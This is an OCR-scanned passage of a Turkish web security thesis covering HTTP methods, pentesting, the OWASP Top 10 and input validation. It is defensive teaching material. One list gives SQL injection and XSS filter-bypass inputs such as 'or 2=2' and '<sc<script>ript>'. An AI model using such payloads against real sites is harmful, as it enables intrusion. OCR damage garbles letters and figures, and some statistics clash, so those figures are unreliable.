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GZIP (GNU Zip), bir tiir sikigtirma yontemidir. Web agisindan baktigimizda gzip,
Ozellikle HTML, CSS ve JS gibi metin tabanh dosyalarda c¢ok ciddi derecede
sikistirma saglayan bir sikistirma yontemidir. Birgok web sunucusu ve giincel tiim

tarayicilar gzip sikistirmasini desteklemektedir [5].
Istek bagliginda,

Accept: text/ntml, application/xml, image/jpeg
Accept-Encoding: gzip, deflate

bu basliklara dikkat edersek;

Accept, istemcinin (yani tarayicinin) kabul ettigi MIME (Multipurpose Internet Mail
Extensions) tiplerini, Accept-Encoding ise kabul ettigi kodlama bigimlerini gosterir.

Tarayic1 burada gzip ve deflate algoritmalari ile sikilastirilmig verileri kabul ettigini
gosteriyor. Istegi gonderdigimiz sunucu da eger bu sikilagtirmay1 kabul ediyorsa,

verileri sikilagtirarak génderiyor.

Cevap basliginda ise;

Content-Encoding: gzip

Content-Type: text/html, charset = UTF-8
bu basliklara dikkat edersek;

Content-Type ile donen verinin MIME tipinin text/html oldugu ve bu dosyanin UTF-
8 ile kodlandig1 belirtilmis ve ardindan Content-Encoding ile de gelen verinin hangi

algoritmayla sikistirildigi gosterilmistir.
Content-Length, mesaj gdvdesinin i¢eriginin uzunlugunu byte cinsinden belirliyor.

Content-Type, mesaj gdvdesinin igeriginin tipini belirliyor. HTML ddkiimanlari i¢in
text/html gibi.

HTTP Metotlar

Web uygulamalarina saldirt zamani, neredeyse genel olarak kullanilan metotlar GET
ve POST'dur. Bu yontemler arasinda bazi onemli farklarin oldugunun farkina

varmaliyiz.
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GET metodu, kaynagi almak i¢in tasarlanmistir. Bu metodu istekte bulundugumuz

kaynaga URL query string'de parametre yollamak i¢in kullanabiliriz.

Bu kullanicilara dinamik olan kaynagi yeniden kullanmalar1 i¢in URL'i bookmark

yapma olanagi sagliyor.

POST metodu, eylemleri gergeklestirmek ic¢in tasarlanmistir. Bu metotla istek
parametreleri hem URL query string'de hem de mesaj govdesinde gdnderile bilir.
URL bookmark olunmasina ragmen, mesaj govdesinde gonderilen bazi parametreler
bookmarkdan hari¢ olacaktir. Cilinkii POST metodu eylemleri gerceklestirmek igin
tasarlanmistir [3]. Eger kullanict bu metodu kullanarak eristigi sayfaya tarayicinin
BACK tusuna tiklayarak geri donse, tarayici istegi otomatik olarak yeniden

yayinlamaz.
Yerine, asagidaki resimde gosterildigi gibi kullanicim1 yapmak istedigi is ile ilgili
uyartir ve kullanicilarin  farkinda olmadan bir eylemi birden ¢ok kez

gerceklestirmelerini 6nler. Bu nedenle, POST istegi herhangi bir eylem yapildiginda

kullanilmalidir.

Confirm )( |

|
: :
To display this page, Firefox must send information that will repeat any ‘
{ | '\ action(such as search or order confirmation) what was performed eaerlier.

| Resend ] | Cancel | ‘

Sekil 2.13 : POST isteginin tekrar

GET ve POST metotlarina ilave olarak, HTTP protokolu belirli amagclar icin
olusturulmus ¢ok sayida diger metotlar1 da desteklemektedir. Bu metotlar asagidaki
gibidir:

HEAD metodu GET metodu ile islem olarak aym isi yapar. HEAD metodunda
cagrilan adresden cevap basliklar1 ile bilgi alinir. Fakat sunucu cevap ddénerken
sadece header kism1 doner, mesajin body kismi déonmez. Tum bilgi header'de tutulur.
Sunucu GET istegine karsilik gelen ayni bagliklar1 donmelidir. Bu nedenle, bu
metodu kaynagin GET istegi ile yapilmadan 6nce sunucuda var olup olmadigini

kontrol etmek i¢in kullanabiliriz [3].
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TRACE metodu diagnostic amaglar i¢in kullaniliyor. Sunucu cevabin body kisminda
aldig1 istegin tam olarak igerigini dondiirmelidir. Bu metot istegi isleyen istemci ve
sunucu arasindaki herhangi bir proxy sunucularin etkisini tespit etmek i¢in de

kullanilir. Hem cevab1 yolluyor hem de o 1stegi nasil gonderdigimi gosteriyor [3].

OPTIONS metodu sunucunun destekledigi HTTP metotlarinin bir listesini dondiiriir.

Bu liste cevap ile ALLOW baslig1 altinda geliyor [3].

PUT metodu belirli bir kaynagi sunucuya yiiklemek icindir. Bu metot enable ise,
uygulamaya saldir1 zamani sunucuya gelisigiizel girdi yiikleyip sunucu iizerinde

calistirmak miimkiin olabilir [3].

2.3 Web Sistemlerinin Amaclari

Web uygulamalari, internet iizerinde bulunan ve tarayicilar vasitasiyla erisilebilen
uygulamalardir. Bu programlar, kisisel ve/veya is konusunda farkl: tiirlerde yardimci

olacak, kolaylastiracak birtakim fonksiyonlar sunar.

Web uygulamalarina 6rnek olarak, {iriin kataloglari, arama motorlari, proje yonetim
araglari, e-mail, sosyal medya programlar1 gibi Ornekler verilebilir. Web
uygulamalan statik veya dinamik olabilir. Statik web uygulamalar tiim kullanicilar
icin aynmi sonuglan iretirken, dinamik web uygulamalar1 ise kullanict etkilesimli
uygulamalardir. Ornegin, web iizerinde calisan stok takip programinda her
kullanicinin kendine ait kisisel verileri ve bu verileri saklayabilecegi bir alani1 vardir.
Kullanic1 stok bilgisini goriintiileyebilir, degistirebilir ve kayit edebilir. Web
uygulamasi gelistirmenin avantajlar1 olarak o6zel bir bilgisayar ve/veya isletim
sisteminden bagimsiz olarak gelistirilebilir ve erisilebilir olmasini1 gosterebiliriz. Bir
web uygulamasina, farkli isletim sistemlerinden, farkli bilgisayar ve cihazlardan
erisilebilir. Web uygulamalari, genelde sunucu (PHP, ASP) tarafli ve istemci
(HTML, JS) tarafli teknolojilerle gelistirilirler [4]. Web uygulamalarinin yapisinda
Istemci-sunucu mimarisi yer almaktadir. Web uygulamalarinin geleceginde ise farkli
isletim sistemerine 6zel yapilarin web iizerinden kullanima agilmasi diisiiniilebilir.
Ornegin, Windows isletim sistemi iizerinde ¢alisan kelime islemci programi web
tizerinden erisilebilir hale getirilerek isletim bagimsiz olarak ilgili uygulamanin
herkez tarafindan kullanilmasi saglanabilir. Bu uygulamalara 6rnek olarak ise

Google Apps, Microsoft Office Live ve WebEx WebOffice gosterilebilir.
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3. WEB SISTEMLERINDE GUVENLIK

Giivenligin yazilimlar i¢in yeni bir kavram gibi goéziikkmesi yanlis bir alginin
sonucudur. Yazilimlarin baslangi¢c zamanlarindan beri 6nem arz eden bu konu,
internetin gelismesi ve web uygulamalarinin ve dolayisiyla yazilimlarin tlizerindeki
kotli amaglh kullanimlarin artmasi ile kendini iyiden iyiye belirgin hale getirmistir.

Bilgi giivenliginin 3 temel 6zelligi vardir (CIA) [3]:
e Confidentiality (Gizlilik)

e Integrity (Butinlik)

o Availability (Kullanilabilirlik)

Ayrica,

e Authentication (Kimlik Denetimi)

¢ Non-Repudation (Inkar Edememe)

Giivenli bir yazilimin prensipieri de bu Ozelliklerden farkli degildir. Giivenli bir
yazilim, isledigi ve ulagabildigi verinin biitiinliigiint, gizliligini korumalidir. Ayni
zamanda da dogru calismaya devam etmelidir. Giivenli bir ayzilim gelistirmek ve
giivenli bir sekilde ¢alismasini saglamak agikcasi kolay bir is degildir. Bunun igin
bircok yaklasim mevcuttur. Uygulama giivenliginde en etkin ve temel prensip,
giivenlik onlemlerinin veya denetimlerin uygulama gelistirme safhasinin en erken

donemlerinde gerceklestirilmeleridir [6].

21



Giuvenlik Kaynak Kod
Senaryolari Analizi

Gereksinim
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Dizayn Kontrol

Tehdit Modelleme
Guvenli Dizayn

Pentest

Sekil 3.1 : Uygulama gelistirme safhasindaki giivenlik aktiviteleri.

Bu resimde uygulama gelistirme safhasinda gercgeklestirilebilecek giivenlik

aktiviteleri gosterilmektedir.

Ornegin, heniiz uygulama gereksinimlerinin belirlendigi ve kullanim senaryolarmin
olusturuldugu evrelerde, uygulamanin giivenlik gereksinimleri (kimlik dogrulama

vb.) ve kotliye kullanim senaryolari belirlenip, dokiimante edilmelidir.

Yapilacak bir bagka aktivite ise, giivenlik kod denetimidir. Giivenlik kod denetimi,
gelistirme evresinde ve sonrasinda kaynak kod iizerinde agiklik bulma amagh
uygulanan otomatik veya el yordamiyla (manuel) yapilan bir yontemdir [6]. En
yaygin giivenlik denetim yoOntemlerinden biri de, yazilim gelistirmede sona
taklasildiginda ve hatta bittikten sonra gergeklestirilen giivenlik denetimleridir. Bu
denetimler ¢alisan yazilim iizerinde ¢ok kaba anlami ile fuzzing denilen tekniklerin
uygulanmasi ile gerceklestirilir. Sizma testi olarak da adlandirilan bu yontemde
genellikle bilinen givenlik problemlerini bulmaya yonelik imzalar, uygulamaya
otomatik olarak gonderilir ve cevaplar analiz edilir. Bulunan bulgular dogrulandiktan
sonra gelistiriciler tarafindan diizeltilirler [6]. Bir yazilim hatasini, gelistirmenin geg
sathalarinda diizeltmenin maliyeti, erken safthalarinda diizeltmeye oranla ¢ok daha
yiiksektir. Dolayisiyla glivenlik bir siire¢ olarak algilanmali ve fikrin ortaya atildigi
andan itibaren uygulama gelistirme yasam dongiisii igerisinde prensiplerine dikkat

edilmelidir [3].
HTTPS

HTTP protokolu sifresiz tasima mekanizmasi olarak diiz TCP kullanir ve bu nedenle

ag iizerinde bulunan bir saldirgan tarafindan ele gecirilebilir.
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HTTPS (HyperText Transfer Protocol Secure), WEB trafiginde sifreleme saglama
amagh gelistirilmis protokoldiir. Bu ag iizerinden aktarilan verinin giivenligini ve
biitlinliigiinii korur. SSL kullanilmasina bakilmayarak HTTP istek ve cevap islevi

ayni1 yolla gerceklesir [3].
HTTPS, SSL (Secure Socket Layer) over HTTP olarak adlandirilir.

SSL - kullanicinin tarayicist ve web server arasinda gegis yapan verinin biitiinliglini
ve gizliligini koruyan miikemmel bir teknolojidir. SSL kullanan ¢ogu uygulamalar

gavenlidir.

Ciinkii, bu site 128 bit SSL kullanarak yetkisiz kullanicilarin bazi bilgilerimizi
gorinttlemesini 6nlemek igin tasarlanmistir ve bu siteyi kullanarak bilgilerimizi
koruma altina alabiliriz [3]. Gergekte ise, SSL teknolojisinin yayginlagsmasina

ragmen web uygulamalarinin biiyiik kismi1 giivensizdir (insecure).

Uygulamanin SSL sertifikasini1 kullanmasi tamamen sitenin giivenli olmas1 anlamina
gelmez. Ciinkii, direkt olarak uygulamanin serverina veya istemci (client)
bilesenlerine yapilan saldirilar mevcuttur ve SSL sertifikasin1 kullanmak bunlari

onlemez [6].

3.1 Web Uygulama Giivenliginin Gelecegi

Internet iizerinde olan web uygulamalar1 bugiin hala giivenlik aciklar1 ile dolu. Web
uygulamalarinin karsilasmis oldugu bu giivenlik tehditlerini anlamak ve bunlari
adreslemenin etkili yollar1 hala sanayi iginde gelismemistir. Web uygulama
giivenliginin ayrintilart statik degildir. SQLO Injection gibi eski ve iyi anlagilmis
giivenlik aciklar1 goriinmeye devam etsede yayginligi giderek azalmaktadir. Web
uygulamalar i¢inde meydana gelen tim degisikliklere ragmen “klasik™ giivenlik
aciklarinin bazi kategorilerinde azalmaya ait bir belirti gériinmiiyor [3]. Web’in ilk
giinlerinde oldugu gibi hemen hemen ayn: formda ortaya ¢ikmaya devam etmektedir.
Bunlar is mantig1 kusurlarmi ve diger tasarim konularini igeriyor. Bu zamansiz

sorunlarin yaygin kalmasi muhtemeldir.
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3.2 S1izma Testleri — Pentest

Sizma Testleri, bagka sdzle penetrasyon testi, ¢aligsan uygulamalar iizerinde dinamik
olarak yapilan giivenlik zafiyet bulma testleridir. Baska s6zle, sistemin giivenligini
sinama islemidir. Pentest sayesinde miumkin olabilecek her yolun denenerek sisteme
izinsiz girilip girilemeyecegi test edilir. Tespit edilen agikliklarin ve zafiyetlerin
kullanilmastyla sistemlere sizma girisimi yapilir [3]. Burdaki ama¢ firma i¢indeki
guvenlik durumunun tespit edilmesi, tespit edilen agiklarin raporlanip yetkili kisilere
bildirilmesi ve bu sayede disardan gelebilecek herhangi bir tehdite karsi gerekli
Onlemlerin alinmasidir. Kisaca bu test, saldirgan bakis agisi ile gergeklestirilirken bir

cok farkli yontem kullanilabilir [6].
Genel olarak bu yontemler iige ayrilir:
e Black-Box (Zero knowledge)

e Gray-Box (Partial-knowledge)

e White-Box (Full-knowledge)

Black Box- Bu yontemde sizma testini ger¢eklestiren firmayla herhangi bir bilgi
paylasiminda bulunulmaz. Zarar vermek ya da firmadan bilgi sizdirmak amaciyla
sizmaya ¢alisan saldirgan gibi davranilarak verilebilecek zararlar1 gérmek ve 6nlem

almak amaciyla sistemlere girmeye ¢alisilir [2].

Gray Box- White Box + Black Box olarak tanimlayabiliriz. Sistemlerin, sistemler
hakkinda detayli bilgi alinmadan test edilmesi yontemidir. Bu test ile firma i¢inde
kisith yetkilere sahip kullanicilarin sisteme verebilecekleri zararlar tespit edilip

Onlemler gelistirilir [2].

White Box- Giivenlik uzmani, firma i¢inde yetkili kisilerce bilgilendirilir ve firma
hakkinda ki tiim sistemler hakkinda bilgi sahibi olur. Bu yontemde daha 6nce
firmada yer almis ya da hala galismakta olan kisilerin sistemlere verebilecekleri
zararlar gozetlenir ve raporlanir [2]. Ozellikle uygulanan ydntem blackbox tarafina
kaydikea elde edilen sonuglar bir sistemin ne kadar giivenli oldugunu degil, ancak ve

ancak ne kadar giivensiz oldugunu gosterebilir.
Blackbox -> Whitebox

Genellikle s1izma testleri asagidaki gibi alt bilesenlere ayrilmaktadir:
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e Web uygulama sizma testleri

e Son kullanic1 ve sosyal miithendislik testleri
e DDoS ve performans testleri

e Ag altyapisi sizma testleri

e Yerel ag sizma testleri

e Mobil uygulama guvenlik testleri

Sizma testlerinin 6nemli metodolojilerine vardir. Bunlara 6rnek olarak, OWASP
(Open Web and Application Security Project), NIST (National Institute of Standards
and Technology), OSSTMM (Open Source Security Testing Methodology Manual),

ISAF (International Security Assistance Force) gosterebiliriz [2].

NIST’in analizine gore istismar aciklarinin %92’si yazilimdan kaynaklanmaktadir
[7].

OWASP’1in analizine gore ise giivenlik aciklarinin %70 den fazlasi uygulama

katmaninda mevcuttur, ag katmaninda degil [2].

3.2.1 Neden pentest?

Uygulamamizda ki/Sistemimizde ki giivenlik agiklarin1 ger¢ek saldirganlar bulmadan
ve bunlar1 kotiiye kullanmadan 6nce bulmali ve bunlar1 kapatmaliyiz. Giiniimiizde
nasil gelistirilen uygulamalar i¢in fonksiyonel testler muhakkak gerceklestiriliyorsa
gerekli givenlik testlerinin de yapilmasi artik kaginilmazdir. Pentest siirecinde
gergek saldirganlarin  kullandigl aracglar ve yontemler kullanilir/kullaniimalidir.
Pentest sonucu bulunan agiklarin kapatilmasi takip edilmeli ve bu her
organizasyonda bir siire¢ olarak tanimlanmalidir. [7] Yanhs algilama: “Once
uygulamay1 gelistirelim, en sonunda gilivenli hale getiririz.” Bu yaklasim sisteme
maliyet, zaman ve imaj kaybi olarak geri donmektedir [6]. Maliyet ve zaman
bakimindan, herhangi bir agig1 sistem gelistirildikten sonra gidermek 2-3 kat daha
fazla maliyete ve zamana neden olmaktadir. imaj bakimindan ise kullanicilara giiven
vermeyen bir sistem izlenimi olusturur. Giivenlik agiklarmin gercek saldirganlar

tarafindan kétiiye kullanilmasinin hukuki yaptirimlari / cezalar1 vardir.
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3.3 OWASP TOP 10

OWASP TOP 10 web uygulamalar1 i¢in en kritik 10 riski ve gerekli giivenlik

kontrollerini listeleyen bir projedir [2].

OWASP TOP 10 - 2013 Release Candiate

‘ OWASP Top 10 - 2010 (Previous)

A1 - Injection

A3 - Broken Authantication and Session Man.
A2 - Cross-Site Scripting(XSS)

A4 - Insecure Direct Object References

AB - Security Misconfiguration

AT - Insecure Cryptographic Storege - Merget
with A9 ->

AB - Faulre to Restrict URL Access -
Broadened into -> buried in A6
A5 - Cross Site Request Forgey(CSRF)

| OWASP Top 10 - 2013(New)

A1 - Injection

A2 - Broken Authantication and Session Man.
A3 - Cross-Site Scripting(XSS)

A4 - Insecure Direct Object References

A5 - Security Misconfiguration

A6 - Sensitive Data Exposure

AT - Missing Function Level Access Control
AB - Cross Site Request Forgey(CSRF)

A9 : Using Known Vulnerable Components

A10 : Unvalidated Redirects and Forwards

A10 : Unvalidated Redirects and Forwards
A9 : Insufficent Transport Layer Protection

Sekil 3.2 : OWASP TOP 10

3.4 Ana Savunma Mekanizmalari

Web uygulamalarimin temel giivenlik sorunlar1 — biitiin kullanic1  girdileri

guvenilmezdir - bircok giivenlik mekanizmalar1 uygulamalarin  kendilerini
korumalar1 i¢in kullanilir. Aslinda tiim uygulamalar kavramsal olarak benzer

mekanizmalari kullanirlar [3].

Web uygulamalar tarafindan kullanilan koruma mekanizmalar1 asagidaki temel

unsurlar1 icermektedir:

e Uygulama verisine kullanici erisimini ele almak ve yetkisiz erisim saglanmasini

engellemek;

e [stenmeyen davranigsa neden olan hatali girdiyi onlemek i¢in kullanict girdisini

ele almak;

e Dogrudan hedef zamani uygulamanin uygun bir sekilde davranmasi, uygun
savunma mekanizmasi almasi ve saldirganin saldirilarin1 bosa ¢ikarmak igin

saldirganlar1 ele almak;

26



e Yoneticilere izin vererek uygulamanin aktivitelerini ve fonksiyonelligini
yonetmek;
3.4.1 Kullanici erisimini ele almak

Web uygulamalarinin ¢ogu, iliskili giivenlik mekanizmas1 iigliisiinii kullanarak

erisimi ele almaktadir:

e Kimlik Dogrulama (Authentication)

e Oturum Yonetimi (Session Management)
e Erisim Kontrolii (Access Control)

Bu mekanizmalarin herbiri uygulamanin genel durusu icin temel adimlardan biridir.
Onlarin bagimlilig1 yiiziinden, genel glivenlik bu mekanizmalar tarafindan saglanir
[3]. Uygulamanin herhangi tek bir bileseninde olan kusur saldirganin uygulamanin

islevselligi ve verilerine sinirsiz erisim saglamasina olanak taniyabilir.

3.4.1.1 Kullanic1 girdisini ele almak (Girdi / Cikti Denetimi)

Tamm

Girdi tiim kontrol kogullarini saglamiyor
ise glivensiz olarak nitelendirilir.

- Kullanicidan alinan tm input'lar r
mutlaka kontrol edilmelidir.

Negatif Girdi Denetimi

- Kara Liste uygulanir.

- Istenmeyen girdilere izin veriimez.
Sayisal bir alana alfabetik bir deger
girilmesi gibi.

» Pozitif Girdi Denetimi

- Beyaz Liste uygulanir.

- Sadece istenilen girdilere izin verilir.
Cinsiyet degeri igin kadin-erkek gibi.

Sekil 3.3 : Girdi / Cikt1 Denetimi
Web uygulamalarinda genelde karsilasilan problemlerden biri de veri ile zararh
kodun bir birine karigmasidir. Tiim kullanic1 girdileri glivenilmezdir [8]. Web
uygulamalarina karsi saldirilarin =~ biiyiikk  ¢ogunlugu beklenmedik  girdinin
gonderilmesini  kapsamaktadir. Buna bagli olarak, uygulamanin giivenligini

savunmak icin énemli gereksinimlerden birisi de kullanici girdisini ele almaktir.
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Girdi tabanli giivenlik aciklar1 uygulamanin islevselliginin herhangi bir yerinde
ortaya c¢ikabilir [9]. “Girdi Dogrulama” (Input Validation) bu saldirilara kars1 gerekli
savunma olarak anilmaktadir. Girdi denetimi sunucu tarafinda yapilmalidir, istemci

tarafinda yapilan denetimler saldirganlar tarafindan atlanabilmektedir.

3.4.1.2 Girdi gesitleri

Tipik bir web uygulamasi kullanici tarafindan saglanan verileri farkl sekillerde isler.
Girdi Dogrulamasinin bazi tiirleri girdinin tiim bu sekilleri i¢in uygun ya da uygun
olmaya blir. Asagidaki resimde kullanici kayit fonksiyonu tarafindan sik sik

uygulanan girdi dogrulama tiirii gosterilmistir [3].

AD

() En az 4 karekter igermelidir.
SOYAD

(#] En az 4 karekter icermelidir.
E-POSTA

@ Litfen gecerli bir e-mail adresi giriniz.
TELEFON

() Sadece rakam giriniz.

Sekil 3.4 : Tipik bir login islemi

Bir cok durumda, uygulama 06zel madde veya girdiler {izerinde siki dogrulama
kontrolleri uygulayabilir. Ornegin, login fonksiyonuna génderilen kullanici adinin
maksimum 8 karakter uzunlugunda olmasi ve yalnizca alfabetik karakterler icermesi
talep olunabilir. Diger durumlarda uygulama, girdinin genis araligina tahammiil

gosterebilir [8].

Ornegin; Adres alani igin kisisel ayrint1 sayfasina génderilen girdi harfler, rakamlar,
bosluklar, tireler, apostroflar, ve farkli karakterler igerebilir. Ancak, bu madde igin,
kisitlamalar hala zorunlu tutulabilir [3]. Veri, makul olan uzunluk sinirini agsmamali
(50 karakter gibi) ve bazt HTML taglar icermemelidir. Bazi durumlarda, uygulama
kullanic1 tarafindan keyfi girigleri kabul etmeye ihtiyac duya bilir.
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Ornegin, blogging uygulamasinin kullanicis1 konusu “web application hacking” olan
bir blog olustura bilir. Bloga yapilan postlar ve yorumlar mesru saldirt stringlerinden
ibaret olabilir. Bu uygulama bu girdini veritabaninda tutmaya, diske yazmaya ve
giivenli bir sekilde kullanicilara geri gostermeye ihtiyag duyabilir [6]. Kullanicilarin
tarayici arayiiziinii kullanarak girmis oldugu farkl girdi ¢esitlerine ilave olarak, tipik
bir uygulama sunucuda baslayan ve istemciye gonderilen, daha sonra sonraki
isteklerde istemciden sunucuya iletilen ¢ok sayida veri kabul ediyor. Bu maddeleri
iceren cookie gibi 6geler, uygulamanin siradan kullanicilar1 tarafindan goériinmez

ancak bir saldirgan tarafindan goriile bilir ve degistirilebilir [9].

3.4.1.3 Girdi isleme yaklasimlari

[ lstemci | [ Sunucu | - Girdi |
Tarafl Tarafli -— | Denetimi |

<script> _ It
| ISTENMEYENLER listesi

BlackList(Kara Liste)

[a-Z] . S E-post veya Telefon  Sifre POZITIE
ISTENENLER listesi ‘ ° o DENETIM

WhiteList(Beyaz Liste)

= 2 DENETIM

E-post veya Telefon Sifre ‘ } NEGATIF

Sekil 3.5 : Girdi isleme yaklagimi

Farkli durumlar, farkli girdi tiirleri i¢in farkli yaklasimlar tercih edilebilir.

Negatif girdi yaklasimi

Negatif liste yaklagiminda bir girdinin hangi karakterler ya da sabit degerler
iceremeyecegi tanimlanir. Bu dogrulama mekanizmasi negatif listeye uygun olan ve
bagka seylere izin veren bazi verileri bloke eder [9]. Ayrica “olumsuz” veya
“karaliste” dogrulamasi olarak bilinen bu strateji, olumlu dogrulamaya zayif bir
alternatifdir. Negatif liste tanimlarini es gegmek miimkiin olabildigi i¢in pozitif liste

yaklasimi tercih edilmelidir [11].

Aslinda, %3f veya Javascript veya benzeri gibi karakterleri gérmeyi beklemek
istemiyorsak, bu karakterler iceren stringleri reddetmeliyiz. Bu tehlikeli bir
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stratejidir, ctiinkd mumkin olan kotu veri seti potansiyel olarak sonsuzdur [3]. Bu
stratejiyi kabul etmek, sonsuza dek “known bad” karakterler ve patternler listesini
saglamiyor olacagiz. Bircok kara tabanli filtreler girdiye Onemsiz ayarlamalar
yaparak bloke edilip kolaylikla atlatilabilir (bypass) [3].

Ornegin,

e SELECT bloke edilmis ise, SeLeCt calistirilir.

or 1=1 bloke edilmis ise, or 2=2 calistirilir.

alert ('xss") bloke edilmis ise, prompt ( 'xss' ) ¢alistirilir.

‘— %27

<script> — <sc<script>ript> ya da <ScRiPt>

Pozitif girdi yaklasim

Pozitif liste yaklasiminda bir girdinin hangi karakterler ya da sabit degerler
icerebilecegi tanimlanir. Bu dogrulama mekanizmasi veriyi pozitif liste ile eslesmeye
ve diger heryerde bloke etmeye izin verir [3]. Ornegin, veritabaninda talep edilen
Urtin kodunu aramadan ©Once, uygulama onun sadece alfanumerik karakterlerden
olusmasin1 ve tam olarak 6 karakter uzunlugunda oldugunu dogrulamalidir [8]. Uriin
kodu {izerinde yapilacak olan sonraki islem goz oniine alindiginda, developerler bu

testi gecen girdinin muhtemelen herhangi bir soruna sebep olmayacagini biliyordur

[9].

* [stemci Tarafli Denetim

/S{EM
Tarafli

Denetim

I\
Page 1 - Temiz Girdi . z |Zararl| Girdi )
| /

https:\\www.avm.com

P |
< Zararh ikt |
N Sunucu

| Saldirgan

A
<_ Zararl Cikti
Y

Sekil 3.6 : Istemci tarafli denetim
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* Sunucu Tarafli Denetim ‘

M
istemci Tarafli Denetim

Denetim
Saldirgan )
%
Page 1 A Temiz Girdi . e Zararl Girdi
https:\www.avm.com :
Hata Sayfasi IE
) Temizlenmig Gikti Sunucu

Sekil 3.7 : Sunucu tarafli denetim

Bu yaklagimin uygulanabildigi durumlarda, en etkili yol potansiyel kotii niyetli
girdiyi ele almaktir. Bazi durumlarda uygulama “iyi” olarak bilinen bazi makul
kriterlere uymayan veriyi islemek i¢in kabul etmelidir. Ornegin, bazi insanlarin ismi
apostrof veya tireden ibaretdir. Bunlar veritabanina kars1 saldirilarda kullanilabilir.
Whitelist tabanli yaklasim kullanici girdisinin ele alinmasindaki soruna ¢ok amaclh
bir ¢ozim getirmemektedir [3]. Girdi denetiminde negatif liste (black-list) yerine
pozitif liste (white-list) yontemi tercih edilmelidir. Girdi denetiminde regular

expression’lardan yararlanilmalidir [12].

Girdi ile alakali su 6zellikler denetlenmelidir:

e Tip: Integer, String, boolean vb. — Casting
e Min-Max degerler

e Uzunluk

e Icerebilecegi karakterler: sadece rakam vs. — Regular expression (*[a-zA-Z0-9.-

1 {1-100} $) Min uzunluk- 1, max uzunluk-100
e Sabit format: email, tarih, plaka, posta kodu vs. — Regular expression

e Sabit  degerler:  iilkeler, sehirler, vs. —  Pozitif liste (*®

(AdanalAdiyaman]|...|Zonguldak) $)

SQL Injection ve XSS (Cross Site Scripting)’e kars1 da girdi denetimi tavsiye edilir,

ancak ana giivenlik kontrolii ¢ikt1 kodlama (output escaping) isleminden gegirmektir.
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3.4.2.1 Canonicalization (Dogallastirma/Normallestirme)

Saldirganlar, girdi tizerinde farkli kodlama teknikleri (ASCII, Hexadecimal, UTF-8,
Unicode, URL Encoding, vs.) uygulayarak girdi denetimi filtrelerini atlamaya

calisirlar.
e Orjinal: <
e Farkli kodlama &It (html), %3c

Dogallastirma ile farkli yontemlerle kodlanmis girdiler standart bir formata

dondistiiriiliir ve bundan sonra girdi denetimi islemine hazir hale gelir.
ESAPI Encoder ile dogallagtirma islemi gerceklestirilebilir [10]:
e String clean = ESAPI.encoder(). canonicalize (request. getParameter(“input”));

ESAPI Validator, denetleme isleminden Once canonicalize() metodunu otomatik

cagirir:

e String name=ESAPI.validator(). isValidInput (“test”, request.

getParameter(*“input”), “username”, 20, false);

3.4.2.2 Cikt1 denetimi

* Encoding/Decoding

* Cikti alanlarinda zararl veya 6zel karekterin ve
kodlarin calismasini engellemek amaciyla uygulanmasi
tavsiye edilen yéontemdir.

« HTML Encode
+« URL Encode
« JS Encode

Sekil 3.8 : Cikt1 denetimi
Web uygulamalarinda, sadece girdi alanlar1 degil c¢ikti alanlar1 da problem
olusturabilirler. Bazi durumlarda uygulama koduna karigtirilan zararli kodlar ¢ikti
olarak istemciye gonderilebilir. Boyle bir durumda istemci dolayli olarak bu

zafiyetden etkilenir [6].
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3.4.2 Web yazilim giivenligindeki mevcut problemler

Web Yazilim giivenligi - Kotii niyetli saldiri (hacker) risklerine karsi yazilimi
korumak i¢in uygulanan bir fikirdir. Eger yazilimin giivenligi dogru bir sekilde
saglanmuis ise potansiyel riskler altinda bile dogru ¢alismaya devam eder [3]. Glvenli
yazilim; isledigi ve ulagabildigi verinin bitiinliigiini, gizliligini korumalidir. Ayni
zamanda bilgiye erisimin devamliligint da saglamali, yani dogru ¢alismaya devam
etmelidir. Web yazilimlarinda giivenlik sorunlarinin biiyiik ¢ogunlugu uygulamadan
kaynaklaniyor. Saldirilarin %75’1 uygulama katmaninda gercgeklestiriliyor [7].
Yazilim gelistiricilerin ¢ogu, gelistirdikleri yazilimmn giivenli oldugundan emin
degildir(Microsoft). Daha dogrusu gelistirdikleri yazilimlar1 nasil giivenli sekilde
gelistirecegi konusunda bilgi sahibi degildirler. Bu bélimde web yazilim giivenligide
mevcut problemlere olan yaklasimlari ve onlara karsi ¢6ziim yollarin1 6greniyor

olacagiz [12].

Broken Authantication iﬁz%

Broken Access Controls 71%

S0QL Injection 32%

Cross-site Scripting 04%,

Information Leakage 52%

Cross-site request forgery S2%

0% 10% 20% 30% 40% 60% 60% 7O0% B80% 90% 100%

Sekil 3.9 : Giincel zafiyetlerin oranm

Bu resimde 2007 ve 2011 yili sirasinda 100'den ¢ok web uygulama Uzerinde test

yapilarak uygulamalarin giivenlik aciklar1 % ile test edilerek gosterilmistir [3].

e Broken Authentication (Kirtlmis Kimlik) (62%)
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Bu kategorideki giivenlik agiklari uygulamanin login mekanizmasindaki farkl
kusurlart yani saldirganin zayif sifreleri tahmin etmesine olanak verecek, kaba

kuvvet saldirist baslatabilecek veya giris atlayabilecek kisimlarini kapsamaktadir [3].
e Broken Access Controls (Kirilmis Erisim Kontrolu) (71%)

Bu kategorideki gilivenlik agiklar1 saldirganin sunucu iizerinde tutulan kullaniciya ait
hassas verileri goriintiilemesine veya ayricalikli eylemleri ger¢eklestirmesi

durumlarini kapsamaktadir [3].
e SQL Injection (SQL Enjeksiyonu) (32%)

SQL Injection, veri odakli uygulamalarda SQL dili 6zelliklerinden faydalanilarak
standart uygulama ekranindaki ilgili alana ek SQL ifadelerini ekleyerek yapilan bir
tiir atak teknigidir [9].

e XSS- Cross-Site Scripting (Siteler Arasi Betik Calistirma) (94%)

Bu kategorideki giivenlik agiklart HTML, CSS, Javascript vb. ile hazirlanmis kod
parcagiklarinin hedef kullanicinin tarayicisinda izinsiz olarak calistirmasindan

kaynaklanmaktadir [8].
e Information leakage (Bilgi Kacag1) (78%)

Bu kategorideki giivenlik aciklar1 sistem verisinin veya hata ayiklama bilgisinin
(debugging) loglama fonksiyonu veya herhangi bir ¢ikis akimi ile programdan

cikmasindan kaynaklanmaktadir [8].
o CSRF- Cross-Site Request Forgery (Siteler Arast Istek Sahteciligi) (92%)

Bu kategorideki giivenlik aciklari uygulamaya gelen her istegin, gercekten kendi
uygulamasi iizerinden geldiginin farkina varilamamasindan veya bu kontroliin

yapilmamasindan kaynaklanmaktadir [12].
3.4.3 Mevcut problemlere olan yaklasimlar

3.4.3.1 Kimlik dogrulama (Authentication)

Kimlik dogrulama mekanizmas: kullanici erisiminin ele alimmasindaki en temel
bagliklardan birisidir. Yetkisiz erisimlerin saglanmamasi gereken her ortamda kimlik

dogrulama islemlerine ihtiya¢ duyulur [3]. Dolayisiyla web uygulamalarini
